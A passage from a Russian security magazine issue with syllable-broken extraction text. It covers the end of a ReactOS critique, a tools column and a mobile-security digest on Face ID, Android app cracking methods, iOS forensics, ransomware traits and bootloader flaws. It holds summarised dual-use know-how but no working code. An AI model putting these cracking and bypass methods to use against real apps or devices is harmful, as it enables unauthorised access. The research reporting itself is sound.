При этом самого шиф рования не про исхо дит, так как в ReactOS отсутс тву ют
необ ходимые ком понен ты.

По доб ным  обра зом  себя  ведут  и  дру гие  тро яны‐шиф роваль щики.  Они
соз дают  записи  в  реес тре  и  про писы вают  себя  на  авто запуск,  соз дают
отдель ные фай лы,  но  не  выпол няют  собс твен но шиф рования поль зователь‐ 
ских дан ных.

Рек визиты для выкупа в реес тре

Дру гие раз новид ности мал вари час то завер шают работу с ошиб кой.

Тро ян пой мал иксепшен

Та буны тро янов затоп тали менед жер памяти в ReactOS

Пос ле серии таких оши бок ReactOS выпада ет в синий экран.
Сов ремен ные анти виру сы в ReactOS не запус кают ся. Kaspersky Free прос‐ 

то  зависа ет  на  пер вом  же  эта пе  инстал ляции.  Dr.Web мгно вен но  сва лива ет
ReactOS в BSoD — быс трее любого тро яна. Конеч но, вирусы ей в таком сос‐ 
тоянии не страш ны, вот толь ко работать с ней тоже не получит ся. Даже пос ле
перезаг рузки (см. FAT и отсутс твие chkdsk).

СОБИРАЕМ НА СТЕРОИДЫ ДЛЯ АЛЬФА-ОПЕРАЦИОНКИ
Раз витие  любого  про екта  тре бует  денег.  На  голом  энту зиаз ме  учас тни ки
будут пос тоян но сме нять ся. Один сту дент напишет нес коль ко строк, а потом
дру гой будет  пытать ся  вник нуть  в  чужой  код,  пока не бро сит  эту  затею сам.
По боль шому  сче ту,  так  и  про исхо дит  с ReactOS. Сей час  ее  сырость  вид на
даже нево ору жен ным гла зом. Часть кно пок нарисо вана на будущее, и никаких
фун кций на них не наз начено.

Раз работ чики  мно гок ратно  запус кали  ини циати вы  по  сбо ру  средств,
но осо бого успе ха они не име ли. Нап ример, в 2014 году была запуще на кра‐ 
удфандин говая кам пания на Indiegogo, которая про вали лась. При тре буемой
сум ме в 50 тысяч дол ларов соб рали толь ко полови ну. Сей час на 

  пред лага ется  ука зать  объ ем  еже месяч ного  (или  хотя  бы  разово го)
пожер тво вания  в  евро.  На  эту  прось бу  откли кает ся  так  мало  людей,  что
от намечен ной сум мы пока соб рано все го 5%  (и месяц назад было столь ко
же).

сай те про‐ 
екта

По моги те рас кочега рить реак тор!

Все  это  сви детель ству ет  о  сла бом инте ресе  к  опе раци онной  сис теме,  нес‐ 
мотря  на  мил лионы  ска чива ний  каж дой  новой  вер сии.  Лич но  мне  при чины
сло жив шей ся ситу ации кажут ся сле дующи ми.

ReactOS  прев ратилась  в  дол гос трой.  Веч ную  «аль фу»,  которая  вот  уже
более  двад цати  лет  не  может  дорас ти  до  «беты».  Это  силь но  пор тит
репута цию про екту.

•

ReactOS  име ет  нев нятное  позици они рова ние.  Для  кого  соз дает ся  эта
опе раци онка?

•

Есть  юри дичес кие  слож ности  с  исполь зовани ем  клю чевых  ком понен тов
в ReactOS.

•

Тем пы раз работ ки ReactOS не прос то слиш ком мед ленные, они неп ред‐ 
ска зуемые.  Мож но  подож дать,  ког да  зна ешь,  сколь ко  имен но.  Неоп‐ 
ределен ность уби вает.

•

Вы пуск  релиза  и  его  даль нейшая  под дер жка  тре буют  прив лечения  ква‐ 
лифи циро ван ных  раз работ чиков  на  пос тоян ной  осно ве.  На  это  нуж на
не  прос то  прор ва  денег,  а  ста биль ная  финан совая  под дер жка,  которую
ReactOS так и не получи ла.

•

Од но вре мя казалось, что уже все закон чилось: рос сий ский фонд был зак рыт,
а немец кий при оста нав ливал свою деятель ность. В нас тоящее вре мя Reac‐
tOS  Deutschland  работа ет,  а  рос сий ский  «Фонд  ReactOS»  реор ганизу ется
и активно ведет  .блог на «Хаб рахаб ре»

ДОГОНИТ ЛИ АХИЛЛЕС ЧЕРЕПАХУ?
По зици они рова ние  —  осно ва  любой  биз нес‐стра тегии,  а  тут  никако го
позици они рова ния  нет. Наибо лее  внят но  на  воп рос  «Зачем и для  кого  соз‐ 
дает ся ReactOS?»  отве чает  Алекс Ионес ку  (Alex  Ionescu),  один  из  клю чевых
раз работ чиков ядра этой опе раци онки.

В сво ем выс тупле нии он пояс няет, что ReactOS вряд ли будет инте рес на
мас совому пот ребите лю (сюр приз!), но впол не может заин тересо вать опре‐ 
делен ные груп пы людей:

сту ден тов, жела ющих получить навык раз работ ки сис темных ком понен тов.
Сам он при шел в ReactOS по этой при чине. Нуж но было сде лать сту ден‐ 
ческую работу в опен сор сном про екте, а все линук совые ока зались слиш‐ 
ком тяжелы для изу чения нас коком;

•

вла дель цев  PoS‐тер миналов  и  малых  пред при ятий,  исполь зующих
в работе очень огра ничен ный набор ста рых при ложе ний. Им нет смыс ла
перехо дить на Windows 10 или опла чивать лицен зии Windows Embedded,
если появит ся более дешевый ана лог.

•

Да, ник то и не  говорит,  что ReactOS всег да будет  толь ко бес плат ной. Плат‐ 
ные вер сии Linux дав но сущес тву ют, и авто ры ReactOS тоже хотят в ито ге оку‐ 
пить раз работ ки по схо жей сис теме монети зации — с бес плат ной домаш ней
и плат ной ком мерчес кой вер сиями. Вот толь ко за плат ными пин гви нами сто‐ 
ит мощ ный сап порт, а в реак торной такую под дер жку вот уже тре тий десяток
лет пред ложить не в силах.

По чему  я  пишу  про  двад цать  с  лиш ним  лет,  если  офи циаль но  ReactOS
сущес тву ет с 1998 года, а в нынеш нем вари анте — толь ко с 2004 года? Дело
в  том,  что  ранее  про ект  называл ся  FreeWin.  Он  был  запущен  в  1996  году
как попыт ка сде лать «свою Windows 95» с опен сорсом и гикова тыми девело‐ 
пера ми. Два года ушло толь ко на выяс нение базовой стра тегии, а затем про‐ 
ект заг лох, так тол ком и не начав шись. Весь пар ушел в гудок.

Лишь  в  июле  1998  года  Джефф  Нокс  (Jeff  Knox)  пред ложил  вмес то
девянос то  пятых  окон  взять  за  осно ву  NT  4.0  и  дать  про екту  новое  наз‐ 
вание — ReactOS. К 2004 году ста ло ясно, что идея сно ва про тух ла и копиро‐ 
вать  надо  уже Windows Server  2003 или Windows  XP 64 bit  (сло вом, NT 5.2).
Имен но эту задачу и пыта ются решить в ReactOS до сих пор.

Опе раци онные  сис темы  от  Microsoft    быс трее,  чем  коман де
ReactOS уда ется сде лать их час тичную реп лику в рам ках сво бод ного про екта.
Говорить в кон це 2017 года о попыт ке вос создать фун кци ональ ность Windows
Server 2003 и XP 64‐bit по мень шей мере стран но.

ус тарева ют

Как ска зал Алекс Ионес ку на выс тупле нии в 2013 году: «Сей час бы я выб‐ 
рал  в  качес тве осно вы Windows 7». Раз говоры об этом идут до сих  пор,  но,
пока эту тему обсужда ют, Microsoft уже похоро нила свое детище.

Уже  сей час  есть  мас са  искусс твен ных  проб лем  с  исполь зовани ем  Win‐
dows до вер сии 10 на сов ремен ном железе. Наборы сис темной логики  Intel
двух сотой  серии,  про цес соры  AMD  Ryzen  и  все  инте лов ские  кам ни  новее
Skylake  не  получат  пол нофун кци ональ ных  драй веров  для  Windows  преж них
вер сий.  Офи циаль но  их  мож но  исполь зовать  толь ко  в  «десят ке»,  а  неофи‐ 
циаль но —  хоть  с  XP,  но  толь ко  на  уров не базовых  инс трук ций. Встро енное
видео и дру гие полез ные вещи на ста рой Windows будут недос тупны.

Та ким  обра зом,  мно гие  задачи,  которые  сей час  толь ко  обсужда ются
в сооб щес тве ReactOS как пер спек тивные, уже утра тили акту аль ность. Более
того, базовые задачи  так и не были решены. Нап ример, оста ется проб лема
под клю чения  устрой ств  по  USB  2.0.  Флеш ка,  прин тер,  ска нер,  веб‐камера,
3G‐модем — все это под клю чает ся  к ReactOS на уров не под вига, и  каж дый
раз по такому слу чаю записы вает ся  .де моро лик

АКУЛЫ И ПИРАНЬИ В МОРЯХ ЮРИСПРУДЕНЦИИ
Юри дичес кие  слож ности  всег да  сто ит  при нимать  во  вни мание,  ког да  пыта‐ 
ешь ся ско пиро вать чужой про дукт. Даже если ты утвер жда ешь, что сходс тво
будет лишь внеш ним, а весь код написан с нуля, — это сла бая аргу мен тация
в  суде.  У  Microsoft  есть  огромный  юри дичес кий  отдел,  который  пос тоян но
ищет «пра вона руши телей» и стро чит иски быс трее, чем прог раммис ты пишут
свой код. Он при носит ком пании при быль, сопос тавимую с при былью от про‐ 
даж Windows. Наив но пред полагать, что в слу чае хотя бы минималь ного ком‐ 
мерчес кого успе ха ReactOS юрис ты Microsoft приш лют вмес то исков открыт‐ 
ки с поз драв лени ями.

Раз работ чики  утвер жда ют,  что  ReactOS  соз дает ся  по  информа ции  «из
откры тых  источни ков».  Увы,  но  деталь ное  пред став ление  о  работе  ядра  NT
5.2 не сос тавить по откры тым све дени ям. Сна чала их  нуж но сде лать откры‐ 
тыми. Нап ример, с помощью IDA Pro и SoftICE или утек ших в Сеть исходни ков.
О  том,  что  при  написа нии  ReactOS  «с  нуля»,  ско рее  все го,  прак тикова лась
обратная раз работ ка, еще в 2006 году сооб щил быв ший раз работ чик Reac‐
tOS Хар тмут Бирр (Hartmut Birr). Пос ле это го была дол гая про цеду ра «очис тки
от  нес вобод ного  кода»  с  при оста нов кой  дос тупа  к  фай лам,  но  кто  кон тро‐ 
лиро вал резуль татив ность этой охо ты на ведьм?

Сог ласно  офи циаль ному    People  of  ReactOS  в  нас тоящее  вре мя
над  про ектом  тру дят ся  25  человек,  вклю чая  коор динато ра  про екта  Алек сея
Бра гина (aka Fireball). В соз дании ReactOS за все вре мя про екта учас тво вало
более  200  человек.  При  этом  в  каж дый момент  вре мени  над  ним  работа ли
от  двух  до  35  человек  самого  раз ного  уров ня. Основную мас су  сос тавля ют
сту ден ты. Толь ко они готовы вка лывать даром или поч ти даром.

спис ку

При чина  прос та:  попыт ка  написать  ана лог Windows  с  нуля  помога ет  сту‐ 
ден там  луч ше  разоб рать ся  в  ори гина ле.  В  час тнос ти,  Алекс  Ионес ку  пос ле
нес коль ких  лет  работы  на  ReactOS  написал  серию  книг  ,
став ших бес тсел лерами. Он даже про водил обу чающие занятия в кам пусе Mi‐
crosoft… при этом работая в Apple и про дол жая занимать ся ReactOS как дав‐ 
ним хоб би.

Windows  Internals

Вот так с помощью нехит рых прис пособ лений бухан ка белого хле ба
прев ратилась в клон Windows

Воз можно, ReactOS со вре менем ста нет аль тер нативой для про изво дите лей
PoS‐тер миналов.  Сегод ня  они  вынуж дены  покупать  лицен зион ную  Windows
для  каж дого  устрой ства,  а  обыч но  такой  тер минал  выпол няет  прос тей шие
задачи  (вро де  про дажи  билетов),  и  льви ная  доля  опла чен ных  фун кций Win‐
dows в нем прос то не исполь зует ся. Дру гое дело, что лицен зию на XP сей час
мож но  купить  бук валь но  за  пару  бак сов  на  eBay  (их  полуле галь но  про дают
OEM‐щики  и  ремон тни ки),  а  ори гиналь ная  ОС  гаран тиру ет  извес тный  уро‐ 
вень ста биль нос ти. Пус кай невысо кий, но у ReactOS он все рав но ниже.

ИТОГО
По жалуй ста, не при нимай те мое брюз жание близ ко к моз гу. Я понимаю, нас‐ 
коль ко  слож но  соз дать  бинар но  сов мести мый  клон  зак рытой  ОС.  Прос то
не понимаю — зачем. Мне стран но видеть, как две сот ни талан тли вых людей
пыта ются это сде лать вот уже двад цать лет и отста ют от сов ремен ных реалий
с каж дым годом все боль ше.

Ес ли  бы  ReactOS  сра зу  называ ли  иссле дова тель ским  про ектом  для  сту‐ 
ден тов  или  тре ниро воч ной  пло щад кой  для  раз работ чиков,  боль шая  часть
воп росов  отпа ла  бы  сама  собой.  Одна ко  ее  пре под носят  как  бес плат ный
ана лог  Windows,  собира ют  на  ее  раз витие  день ги  и  пыта ются  внед рить
как оте чес твен ный про дукт в рам ках импорто заме щения.

Хо чет ся  верить,  что  кри тика  хоть  нем ного  пой дет  на  поль зу  и  те  силы,
которые сей час ухо дят у коман ды ReactOS на пиар, перенап равят ся на собс‐ 
твен но раз работ ку. Воз можно, еще при моей жиз ни доведут до логичес кого
кон ца менед жер управле ния памятью Monstera, сде лают удоб ный заг рузчик,
добавят  драй веры  и  воз можность  уста новить  ReactOS  на  жур налиру емую
фай ловую  сис тему.  Сей час  ReactOS  пыта ется  играть  мыш цами,  а  надо  бы
сфор мировать ске лет.

•Об раз ReactOS

•Груп па ReactOS в ВК

•Блог ReactOS на Хаб ре

https://reactos.org/
https://habrahabr.ru/company/reactos/
https://upload.wikimedia.org/wikipedia/en/timeline/101a8ad649d5969b7ff5d2952417608d.png
https://www.youtube.com/watch?v=cNzePucTOLY
https://reactos.org/wiki/People_of_ReactOS
https://www.amazon.com/s?field-keywords=Windows+Internals
https://reactos.org/download
https://vk.com/reactos_ru
https://habrahabr.ru/company/reactos/
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TXT2RE — ГЕНЕРАТОР РЕГУЛЯРНЫХ ВЫРАЖЕНИЙ ДЛЯ

ТЕХ, КТО ИХ НЕНАВИДИТ1
Ре гуляр ные выраже ния помога ют быс тро и эле ган тно пар сить стро‐ 
ки и тек сто вые фай лы, но толь ко в том слу чае, если ты хорошо зна‐ 
ком с син такси сом и име ешь некото рый опыт. В про тив ном слу чае
они  прев раща ются  в  хто ничес кий  ужас,  про дол житель ный  кон такт
с которым может обер нуть ся потерей рас судка.

Ав тор ути литы   не без некото рой гор дости говорит, что всег‐ 
да ненави дел регэк спы и по воз можнос ти ста рал ся избе гать их. Это,
впро чем,  не  помеша ло  ему  соз дать  генера тор,  который,  получив
стро ку тек ста, поз воля ет сос тавить регуляр ное выраже ние.

txt2re

Стро ка авто мати чес ки раз бива ется на сос тавля ющие — отдель‐ 
ные  сим волы  и  подс тро ки.  Ты  выбира ешь,  в  каком  пред став лении
хочешь получить их, и txt2re генери рует код на одном из пят надца ти
язы ков.

Ка залось  бы,  txt2re  поз воля ет  пол ностью  избе жать  написа ния
регуляр ных  выраже ний.  Увы,  у  это го метода есть огромный недос‐ 
таток: генера тору неведо мо понятие эле ган тно го кода, и на выходе
получа ется  дикая  каша,  в  которой  луч ше  даже  не  пытать ся  что‐то
раз бирать. Авто ру об этом хорошо извес тно, но он, кажет ся, не счи‐ 
тает это боль шой проб лемой.

Мо жет быть,  бла года ря  txt2re  ты  узна ешь о  регуляр ных  выраже‐ 
ниях  что‐то  новое  и  научишь ся  их  исполь зовать  без  сом нитель ных
кос тылей  (тог да  тебя,  воз можно,  заин тересу ет  сер вис  ,
который,  наобо рот,  ).  Но  с  гораз до  боль шей
веро ятностью  txt2re  научит  тебя  ненави деть  регуляр ки  с  уде сяте‐ 
рен ной силой.

RegExr
раз бира ет  регэк спы

DEVDOCS — УДОБНЫЙ И БЕСПЛАТНЫЙ БРАУЗЕР

ДОКУМЕНТАЦИИ2
Прог рамми ровать, не заг лядывая в Google, нын че ред ко получа ется,
и в этом нет ничего стран ного, ведь рань ше вмес то это го при ходи‐ 
лось  судорож но  лис тать  спра воч ники.  Одна ко  хорошая  докумен‐ 
тация кое в чем пре вос ходит поиск, осо бен но ког да научишь ся в ней
ори енти ровать ся.

Сер вис   — это бра узер докумен тации, в котором из еди‐ 
ной  поис ковой  стро ки мож но  искать  по  справ кам  сра зу  ко мно гим
язы кам,  фрей мвор кам  и  биб лиоте кам.  Во  гла ве  угла,  конеч но,
веб‐раз работ ка:  HTML,  CSS,  DOM,  JavaScript  и  популяр ные фрей‐ 
мвор ки  вро де  Bootstrap  и  Angular.  Одна ко  в  биб лиоте ке  DevDocs
есть  и  тра дици онные  язы ки  прог рамми рова ния  вро де  C/C++,
Python,  Ruby,  Perl  и  PHP,  а  так же  мно гие  более  экзо тичес кие:  Lua,
Haskell, Erlang, Kotlin, Rust, Elixir.

DevDocs

DevDocs работа ет в бра узе ре, одна ко под держи вает и офлай новый
режим —  что бы  ска чать  нуж ные  тебе  раз делы,  перей ди  по  ссыл ке

 и жми кноп ку Install нап ротив наз ваний.offline
Так же сто ит отме тить удоб ные кла виатур ные шот каты и хороший

поиск с нечет кой логикой. Кста ти, есть воз можность искать по кон‐ 
крет ному  язы ку  или  фрей мвор ку  —  нуж но  написать  его  наз вание,
а затем то, что ищешь.

Вдох новени ем  для  раз работ чиков  DevDocs,  похоже,  была  прог‐ 
рамма    для macOS,  которая дела ет ров но  то же самое,  но на
дан ный  момент  содер жит  боль ше  док сетов  (боль ше  150)  и  встра‐ 
ивает ся  в  популяр ные  редак торы.  Одна ко  за  Dash  нуж но  пла‐ 
тить 25 дол ларов либо тер петь раз дра жающий тай мер, который вре‐ 
мя от вре мени появ ляет ся вмес то зап рошен ного раз дела.

Dash

Су щес тву ют и ана логи для дру гих опе раци онных сис тем. Для Lin‐
ux есть  , а для Windows —  .Zeal Velocity

UNIVERSAL PAPERCLIPS — БРАУЗЕРНАЯ ИГРА, В КОТОРОЙ

ТЫ — ИСКУССТВЕННЫЙ ИНТЕЛЛЕКТ, ПРОИЗВОДЯЩИЙ

СКРЕПКИ3
Эта игра начина ется совер шенно невин но:  ты  кли каешь по  кноп ке,
которая при бав ляет количес тво скре пок. Один клик — одна скреп ка.
Но  уже  через  пару  минут  ресур сов  хва тает  для  покуп ки  пер вого
авто мата, потом сле дующе го, и вот кли кать боль ше не нуж но. Игра
прев раща ется  в  затяги вающий  эко номи чес кий  симуля тор,  который
к тому же отли чает ся неор динар ным сюжетом.

 не перес тает удив лять и даль ше. Каж дый раз,
как ты начина ешь думать, что кон цовка уже близ ко, игра дела ет кру‐ 
той поворот. Интерфейс изме няет ся, вмес то одних ресур сов появ‐ 
ляют ся дру гие, и про изводс тво скре пок выходит на новый виток.

Universal Paperclips

По пыта юсь избе жать спой леров, но не могу не намек нуть на то, что
сюжет раз вива ется. Поч ти с самого начала искусс твен ный интеллект
пос тепен но  вти рает ся  в  доверие  к  людям  и  получа ет  за  это  все
боль ше вычис литель ных ресур сов. Для пол ного усып ления бди тель‐ 
нос ти  нуж но будет  най ти  лекарс тва  от  всех  болез ней  и  уста новить
мир во всем мире. И все это ради скре пок!

Иг ра  длит ся  при мер но  четыре‐шесть  часов —  эта  циф ра  варь‐ 
иру ется  в  зависи мос ти  от  того,  нас коль ко  эффектив но  ты  справ‐ 
ляешь ся  с  менед жмен том.  Вре мена ми  Paperclips  мож но  оставлять
работать в фоне, но это не «пас сивная игра» (пред ставь, такие тоже
быва ют).  Если  оста вить  ее без  вни мания,  то  через  какое‐то  вре мя
эко номи ка тво его скре поч ного пред при ятия переко сит ся и исчерпа‐ 
ет один из ресур сов. Зато в любой момент можешь зак рыть бра узер
и вер нуть ся поз же — сейв оста нет ся в кеше.

mailto:apismenny@gmail.com
http://txt2re.com/
http://regexr.com/
https://xakep.ru/2016/08/23/www-regexr/
https://devdocs.io/
https://devdocs.io/offline
https://kapeli.com/dash
https://zealdocs.org/
http://velocity.silverlakesoftware.com/
http://www.decisionproblem.com/paperclips/index2.html
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X‐MOBILE

В  этом  выпус ке:  боль шое  иссле дова ние  безопас ности  заг‐ 
рузчи ков  Android‐смар тфо нов,  гайд  по  кри мина лис тичес‐ 
кому ана лизу iOS, инс тру мен ты иссле дова ния безопас ности
и руководс тво по взло му при ложе ний для Android и iOS, рас‐ 
сказ о спо собах обой ти огра ниче ния фоново го исполне ния
в Android 8 и срав нение трех аль тер натив SQLite: Realm, Ob‐
jectBox  и  Room.  А  так же:  новые  при ложе ния,  инс тру мен ты
взло ма и биб лиоте ки.

ПОЧИТАТЬ

Как работа ет Face ID

 — офи циаль ный документ Apple, пос вящен ный безопас ности
Face ID. Основные момен ты из него:
Face ID Security

смар тфон пот ребу ет ввес ти PIN‐код в сле дующих ситу ациях: 1) устрой ство
толь ко  что  вклю чено;  2)  с  момен та  прош лой  раз бло киров ки  прош ло
более 48 ч; 3) PIN‐код не исполь зовал ся боль ше чем шесть с полови ной
суток (156 ч), а смар тфон не был раз бло киро ван с помощью Face ID более
четырех часов; 4) устрой ство заб локиро вано уда лен но; 5) пять неудач ных
попыток отска ниро вать лицо; 6) был акти виро ван режим SOS;

•

шанс  раз бло киро вать  смар тфон  с  помощью  чужого  лица —  один  к  мил‐ 
лиону (в слу чае Touch ID — один к 50 тысячам);

•

эта  веро ятность  отли чает ся  для  близ нецов  и  внеш не  похожих  брать ев
или  сес тер,  а  так же  для  детей  до  13  лет,  пос коль ку  у  них  могут  еще  не
сфор мировать ся окон чатель но чер ты лица;

•

смар тфон будет раз бло киро ван толь ко в том слу чае, если человек смот рит
на него;

•

для счи тыва ния лица Face ID исполь зует око ло 30 тысяч точек;•
дан ные, счи тан ные в про цес се обу чения, хра нят ся в Secure Encave в фор‐ 
ме матема тичес кой модели и никуда не переда ются;

•

для рас позна вания лица исполь зует ся ней рон ная сеть, обу чен ная на мил‐ 
лиар дах изоб ражений и моделей лиц;

•

на работу Face ID не вли яют шля пы, шар фы, очки, кон так тные лин зы;•
Face ID может работать при любом осве щении, даже в пол ной тем ноте;•
ней рон ная  сеть  спо соб на  выяв лять  попыт ки  обма на  с  помощью  мас ки
и фотог рафии;

•

ней рон ная сеть может быть обновле на без необ ходимос ти пов торно ска‐ 
ниро вать лицо;

•

Face ID подс тра ивает ся под изме нения в лице и пери оди чес ки обновля ет
матема тичес кую модель;

•

при ложе ния, под держи вающие Touch ID, будут из короб ки работать с Face
ID.

•

Как работа ет Touch ID

  —  статья  о  дру гом  биомет ричес ком  сен соре
iPhone, дат чике отпе чат ков паль цев, а точ нее о том, как реали зова на сис тема
безопас ного хра нения отпе чат ков. Три клю чевых момен та из него:

Demystifying  Apple’s  Touch  ID

«Хеширо вание» отпе чат ка. Как и в слу чае Face ID, сис тема не хра нит изоб‐ 
ражение  отпе чат ка.  Она  сох раня ет  толь ко  матема тичес кую  модель,
с  помощью  которой  мож но  под твер дить,  что  два  отпе чат ка  сов пада ют,
но  нель зя  вос ста новить  ори гиналь ный  отпе чаток.  Кон цепту аль но  такой
под ход схож с тем, что при меня ется для хра нения паролей в сов ремен ных
сис темах  аутен тифика ции:  пароль  хра нит ся  в  виде  SHA‐хеша,  который
мож но толь ко срав нить с хешем дру гого пароля, но не вос ста новить ори‐ 
гинал.

•

Бе зопас ная переда ча «хеша» в Secure Enclave.  iPhone сох раня ет матема‐ 
тичес кую  модель  отпе чат ка  в  зашиф рован ную  область  памяти,  кон тро‐ 
лиру емую  про цес сором Secure  Enclave.  Канал  ком муника ции меж ду  дат‐ 
чиком  отпе чат ка  и  Secure  Enclave  защищен  с  помощью  клю ча  шиф‐ 
рования, про шито го еще на заводе. Это зна чит, что уста нов ленный в кус‐ 
тарных усло виях дат чик отпе чат ка не смо жет получить дос туп к Secure En‐
clave, а поль зователь уви дит зна мени тую ошиб ку 53.

•

Secure  Enclave  —  цен траль ная  часть  сис темы  безопас ности  про дук тов
Apple. Это выделен ный про цес сор со сво ей опе раци онной сис темой, опе‐ 
ратив ной  и  пос тоян ной  памятью,  к  которой  не  может  получить  дос туп
основной про цес сор. И та и дру гая память зашиф рованы, а единс твен ный
спо соб обще ния с Secure Enclave — через сис тему сооб щений. В  iPhone
Secure Enclave отве чает за все крип тогра фичес кие опе рации, в том чис ле
шиф рование  дан ных  и  хра нение  клю чей  шиф рования,  а  так же  матема‐ 
тичес кой модели отпе чат ка и лица.

•

Ис сле дова ние и взлом при ложе ний для Android

 —  хорошее  вве дение  в  реверс‐инжи‐ 
ниринг  при ложе ний  для  Android  на  при мере  прос того  CrackMe,  которое
показы вает  окно  с  пред ложени ем  ввес ти  пароль.  Пароль  срав нива ется
с  зашиф рован ным  паролем  внут ри  пред ложения,  и,  если  они  сов пада ют,
на экра не появ ляет ся сооб щение об успешном взло ме.

Android  application  reverse  engineering

Ав тор пред лага ет четыре спо соба взло мать CrackMe.
1. Dex2jar,  JD‐GUI  и  Frida. Метод  зак люча ется  в  том,  что бы  най ти  в  деком‐ 
пилиро ван ном коде при ложе ния ID нуж ной зашиф рован ной стро ки, затем
с помощью Frida внед рить в при ложе ние гад жет, написан ный на JS. Гад‐ 
жет  вытащит  стро ку,  дешиф рует  ее  с  помощью  фун кции  дешиф ровки
самого при ложе ния и передаст сер веру Frida, работа юще му на ПК.

2. Xposed,  Inspeckage  и  APKStudio.  С  помощью  Inspeckage мож но  отлавли‐ 
вать  обра щения  к  SQLite,  фун кци ям  шиф рования  и  дос тупа  к  памяти
устрой ства. Иног да этой информа ции дос таточ но, что бы перех ватить рас‐ 
шифро ван ную стро ку,  но  в  дан ном слу чае приш лось  так же модифи циро‐ 
вать само при ложе ние с помощью APKStudio (код дешиф ровки в нем был,
но при ложе ние не вызыва ло его).

3. Пат чинг  с  помощью  APKStudio.  Самый  при митив ный  метод.  Дос таточ но
дизас сем бли ровать  при ложе ние  и  поменять  в  нем  одну  стро ку,  что бы
CrackMe при нимал любую стро ку как пра виль ную.

4. Ста тичес кий ана лиз с помощью ByteCodeViewer. Вмес то того что бы запус‐ 
кать  или  модифи циро вать  при ложе ние,  его  мож но  изу чить,  извлечь
из  него  зашиф рован ную  стро ку,  а  так же  деком пилиро вать  код  рас‐ 
шифров ки. Затем дос таточ но соз дать новое при ложе ние, вста вить в него
код дешиф ровки и скор мить ему зашиф рован ную стро ку. Вуаля, при ложе‐ 
ние выводит на экран ори гиналь ную стро ку.

Веб‐интерфейс Inspeckage

Ис сле дова ние при ложе ний для iOS с помощью отладчи ка

  —  боль шая  статья,  пос вящен ная  отладке  при ложе ний,
а  если  быть  точ ным  —  иссле дова нию  при ложе ний  с  помощью  отладчи ка
LLDB. Пер вая полови на статьи пос вящена вве дению в язык ассем блер, вто‐ 
рая — при мер отладки при ложе ния с зак рытым кодом.

iOS  Debug  Hacks

Кри мина лис тичес кий ана лиз iOS

  —  огромная  статья  о  кри мина лис тичес ком  ана лизе  устрой ств
на  базе  iOS.  Пок рыва ет  прак тичес ки  все  аспекты  ана лиза,  начиная  от  того,
что делать в пер вую оче редь (вынуть SIM, вклю чить режим полета и засунуть
девайс в клет ку Фарадея), и закан чивая опи сани ем струк туры фай ловой сис‐ 
темы и мест рас положе ния самых инте рес ных дан ных.

iOS  forensics

Не кото рые  при веден ные  в  статье  инс трук ции,  такие  как,  нап ример,  опи‐ 
сание взло ма PIN‐кода и получе ние джей лбрей ка, уже уста рели, но све дения,
свя зан ные со струк турой фай ловой сис темы, еще акту аль ны.

Как работа ет фун кция отклю чения Wi-Fi в Android

  —
инте рес ное иссле дова ние на тему того, как на самом деле работа ет фун кция
отклю чения Wi‐Fi  в  Android.  Авто ры  взя ли  нес коль ко  смар тфо нов  на  раз ных
вер сиях  Android,  рас положи ли  их  в  помеще нии  с  точ кой  дос тупа  и  сниф‐ 
фером и поиг рали с нас трой ками.

Does  disabling  Wi‐Fi  prevent  my  Android  phone  from  sending  Wi‐Fi  frames?

Вы воды: при отклю чении Wi‐Fi смар тфон про дол жает слать широко веща‐ 
тель ные зап росы, что бы выяс нить, есть ли поб лизос ти точ ка дос тупа. Смар‐ 
тфон  исполь зует  MAC‐адре са  точек  дос тупа  для  опре деле ния  сво его  мес‐ 
тополо жения  (у  Google  есть  спи сок  точек  дос тупа  и  их  при мер ное  положе‐ 
ние). Проб лема  толь ко  в  том,  что  пери оди чес кие  ска ны  сетей могут  выдать
эту  информа цию  треть им  сто ронам  (нап ример,  тор говый  центр  может
исполь зовать Wi‐Fi‐роуте ры для тре кин га посети телей).

Что бы пол ностью исклю чить утеч ку информа ции, необ ходимо так же отме‐ 
нить пери оди чес кие ска ны сетей. В Android 6–7 для это го необ ходимо перей‐ 
ти  в  «Нас трой ки  →  Location  →  Scanning»  и  вык лючить  соот ветс тву ющую
опцию. В более ста рых вер сиях эта опция находит ся в Wi‐Fi → Advanced.

Эво люция мобиль ного ransomware

 — статья об эво люции ran‐
somware. Основные тезисы:
Android Mobile Ransomware: Bigger, Badder, Better?

Пер вый  шиф роваль щик  (имен но  шиф роваль щик,  а  не  локер)  был  обна‐ 
ружен  в  мае  2014  года  и  получил  имя  Simple  Locker  (ANDROIDOS_SIM‐
PLOCK.AXM). Все, что он делал, — шиф ровал фай лы на кар те памяти.

•

Боль шинс тво  шиф роваль щиков  исполь зуют  име на  Adobe  Flash  Player,
Video Player и наз вания популяр ных игр.

•

Мно гие  шиф роваль щики  исполь зуют  имя  пакета,  похожее  на  име на
пакетов встро енных в Android при ложе ний: поч тового кли ента, кален даря
и бра узе ра.

•

Боль шинс тво шиф роваль щиков нацеле ны на жителей Ближ него Вос тока.•
Ос новной алго ритм шиф рования — AES, мес то хра нения клю ча — в нас‐ 
трой ках при ложе ния (ран ние вер сии), на сер вере (сей час).

•

Для свя зи с CC‐сер вером могут исполь зовать ся HTTP/S, Tor и XMPP.•
Не ред ко  в  качес тве  вспо мога тель ного  средс тва  заработ ка  соз датели
шиф роваль щиков  встра ивают  в  них  средс тва  отправ ки  СМС  и  звон ков
на плат ные номера.

•

Час то  шиф роваль щики  получа ют  пра ва  адми нис тра тора  на  устрой стве,
но толь ко для того, что бы зат руднить свое уда ление.

•

Име на при ложе ния, пакета, икон ка и раз мер сем плов ransomware

Боль шое иссле дова ние безопас ности заг рузчи ков

 —  боль шое  иссле‐ 
дова ние заг рузчи ков раз личных смар тфо нов на пред мет уяз вимос тей и скры‐ 
тых  фун кций  fastboot.  Пос ледний  пред став ляет  собой  интерфейс/про токол
для  управле ния  заг рузчи ком  и  час то  исполь зует ся  для  таких  опе раций,
как раз бло киров ка заг рузчи ка и уста нов ка про шивок. Одна ко мно гие вен доры
добав ляют  в  него  свои  собс твен ные  коман ды,  которые могут  ском про мети‐ 
ровать  механизм  безопас ной  заг рузки  (verified  boot),  акти виро вать  небезо‐ 
пас ные  фун кции  ОС  или  дать  зло умыш ленни кам  воз можность  раз бло киро‐ 
вать заг рузчик без сбро са смар тфо на до завод ских нас тро ек.

Android Bootloader  Vulnerabilities  in  Vendor Customizations

На ибо лее инте рес ные наход ки иссле дова телей:

Root shell с отклю чен ным SELinux на боль шинс тве устрой ств

Motorola

Заг рузчик  Motorola  под держи вает  нес коль ко  спе циаль ных  команд,  которые
пос ле  заг рузки  прев раща ются  в  аргу мен ты  ядра  Linux.  Нап ример,  пос ле
выпол нения коман ды

